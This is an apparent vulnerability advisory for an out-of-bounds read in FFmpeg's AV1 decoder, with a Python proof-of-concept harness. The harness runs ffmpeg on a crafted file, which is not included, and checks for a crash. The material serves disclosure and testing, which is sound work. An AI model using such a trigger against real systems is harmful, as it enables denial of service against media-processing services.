An out-of-bounds read in the read_global_param() function (libavcodec/av1dec.c) of FFmpeg v8.0.1 allows attackers to cause a Denial of Service (DoS) via a crafted input.
The following code is for security research and authorized testing only.
python
import subprocess
import os
# PoC for CVE-2026-30997
# This script demonstrates the execution flow to trigger the vulnerability.
# Requires a crafted AV1 file that exploits the OOB read in read_global_param.
crafted_file = "cve_2026_30997_poc.av1"
print(f"[*] Attempting to process crafted file: {crafted_file}")
# Command to run FFmpeg on the crafted file
cmd = ["ffmpeg", "-i", crafted_file, "-f", "null", "-"]
try:
subprocess.run(cmd, check=True, stderr=subprocess.STDOUT)
print("[+] File processed without crash (Patch applied or PoC ineffective)")
except subprocess.CalledProcessError as e:
print(f"[-] FFmpeg crashed (Exit code {e.returncode}) - Vulnerability likely triggered")
except FileNotFoundError:
print("[!] FFmpeg not found in PATH")